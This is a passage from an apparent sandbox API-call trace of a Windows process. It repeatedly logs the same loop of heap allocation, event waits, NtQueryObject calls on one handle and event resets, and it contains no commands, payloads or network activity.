(HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.687] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.688] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.688] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.688] ResetEvent (hEvent=0x110) returned 1 [0259.688] SetEvent (hEvent=0x114) returned 1 [0259.688] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.688] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.688] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.688] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.688] ResetEvent (hEvent=0x110) returned 1 [0259.688] SetEvent (hEvent=0x114) returned 1 [0259.688] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.688] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.688] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.688] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.688] ResetEvent (hEvent=0x110) returned 1 [0259.688] SetEvent (hEvent=0x114) returned 1 [0259.688] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.688] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.689] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.689] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.689] ResetEvent (hEvent=0x110) returned 1 [0259.689] SetEvent (hEvent=0x114) returned 1 [0259.689] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.689] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.689] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.689] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.689] ResetEvent (hEvent=0x110) returned 1 [0259.689] SetEvent (hEvent=0x114) returned 1 [0259.689] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.689] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.689] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.689] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.689] ResetEvent (hEvent=0x110) returned 1 [0259.689] SetEvent (hEvent=0x114) returned 1 [0259.689] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.689] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.690] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.690] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.690] ResetEvent (hEvent=0x110) returned 1 [0259.690] SetEvent (hEvent=0x114) returned 1 [0259.690] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.690] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.690] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.690] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.690] ResetEvent (hEvent=0x110) returned 1 [0259.690] SetEvent (hEvent=0x114) returned 1 [0259.690] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.690] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.690] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.690] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.690] ResetEvent (hEvent=0x110) returned 1 [0259.690] SetEvent (hEvent=0x114) returned 1 [0259.690] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.691] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.691] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.691] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.691] ResetEvent (hEvent=0x110) returned 1 [0259.691] SetEvent (hEvent=0x114) returned 1 [0259.691] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.691] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.691] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.691] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.691] ResetEvent (hEvent=0x110) returned 1 [0259.691] SetEvent (hEvent=0x114) returned 1 [0259.691] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.691] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.691] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.691] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.691] ResetEvent (hEvent=0x110) returned 1 [0259.691] SetEvent (hEvent=0x114) returned 1 [0259.692] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.692] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.692] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.692] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.692] ResetEvent (hEvent=0x110) returned 1 [0259.692] SetEvent (hEvent=0x114) returned 1 [0259.692] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.692] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.692] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.692] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.692] ResetEvent (hEvent=0x110) returned 1 [0259.692] SetEvent (hEvent=0x114) returned 1 [0259.692] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.692] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.692] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.692] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.692] ResetEvent (hEvent=0x110) returned 1 [0259.692] SetEvent (hEvent=0x114) returned 1 [0259.693] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.693] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.693] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.693] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.693] ResetEvent (hEvent=0x110) returned 1 [0259.693] SetEvent (hEvent=0x114) returned 1 [0259.693] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.693] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.693] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.693] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.693] ResetEvent (hEvent=0x110) returned 1 [0259.693] SetEvent (hEvent=0x114) returned 1 [0259.693] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.693] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.693] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.693] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.693] ResetEvent (hEvent=0x110) returned 1 [0259.693] SetEvent (hEvent=0x114) returned 1 [0259.694] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.694] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.694] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.694] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.694] ResetEvent (hEvent=0x110) returned 1 [0259.694] SetEvent (hEvent=0x114) returned 1 [0259.694] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.694] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.694] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.694] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.694] ResetEvent (hEvent=0x110) returned 1 [0259.694] SetEvent (hEvent=0x114) returned 1 [0259.694] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.694] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.694] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.694] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.694] ResetEvent (hEvent=0x110) returned 1 [0259.694] SetEvent (hEvent=0x114) returned 1 [0259.695] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.695] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.695] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.695] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.695] ResetEvent (hEvent=0x110) returned 1 [0259.695] SetEvent (hEvent=0x114) returned 1 [0259.695] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.695] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.695] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.695] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.695] ResetEvent (hEvent=0x110) returned 1 [0259.695] SetEvent (hEvent=0x114) returned 1 [0259.695] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.695] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.695] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.695] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.695] ResetEvent (hEvent=0x110) returned 1 [0259.695] SetEvent (hEvent=0x114) returned 1 [0259.696] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.696] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.696] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.696] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.696] ResetEvent (hEvent=0x110) returned 1 [0259.696] SetEvent (hEvent=0x114) returned 1 [0259.696] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.696] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.696] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.696] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.696] ResetEvent (hEvent=0x110) returned 1 [0259.696] SetEvent (hEvent=0x114) returned 1 [0259.696] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.696] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.696] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.696] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.696] ResetEvent (hEvent=0x110) returned 1 [0259.696] SetEvent (hEvent=0x114) returned 1 [0259.697] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.697] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.697] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.697] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.697] ResetEvent (hEvent=0x110) returned 1 [0259.697] SetEvent (hEvent=0x114) returned 1 [0259.697] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.697] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.697] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.697] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.697] ResetEvent (hEvent=0x110) returned 1 [0259.697] SetEvent (hEvent=0x114) returned 1 [0259.697] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.697] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.697] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.697] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.697] ResetEvent (hEvent=0x110) returned 1 [0259.697] SetEvent (hEvent=0x114) returned 1 [0259.698] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.698] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.698] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.698] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.698] ResetEvent (hEvent=0x110) returned 1 [0259.698] SetEvent (hEvent=0x114) returned 1 [0259.698] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.698] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.698] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.698] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.698] ResetEvent (hEvent=0x110) returned 1 [0259.698] SetEvent (hEvent=0x114) returned 1 [0259.698] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.698] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.698] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.698] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.698] ResetEvent (hEvent=0x110) returned 1 [0259.698] SetEvent (hEvent=0x114) returned 1 [0259.699] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.699] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.699] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.699] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.699] ResetEvent (hEvent=0x110) returned 1 [0259.699] SetEvent (hEvent=0x114) returned 1 [0259.699] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.699] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.699] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.699] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.699] ResetEvent (hEvent=0x110) returned 1 [0259.699] SetEvent (hEvent=0x114) returned 1 [0259.699] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.699] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.699] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.699] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.699] ResetEvent (hEvent=0x110) returned 1 [0259.699] SetEvent (hEvent=0x114) returned 1 [0259.766] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.767] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.767] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.767] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.767] ResetEvent (hEvent=0x110) returned 1 [0259.767] SetEvent (hEvent=0x114) returned 1 [0259.767] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.767] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.767] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.767] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.767] ResetEvent (hEvent=0x110) returned 1 [0259.767] SetEvent (hEvent=0x114) returned 1 [0259.767] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.767] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.767] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.767] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.768] ResetEvent (hEvent=0x110) returned 1 [0259.768] SetEvent (hEvent=0x114) returned 1 [0259.768] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.768] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.768] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.768] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.768] ResetEvent (hEvent=0x110) returned 1 [0259.768] SetEvent (hEvent=0x114) returned 1 [0259.768] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.768] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.768] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.768] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.768] ResetEvent (hEvent=0x110) returned 1 [0259.768] SetEvent (hEvent=0x114) returned 1 [0259.768] 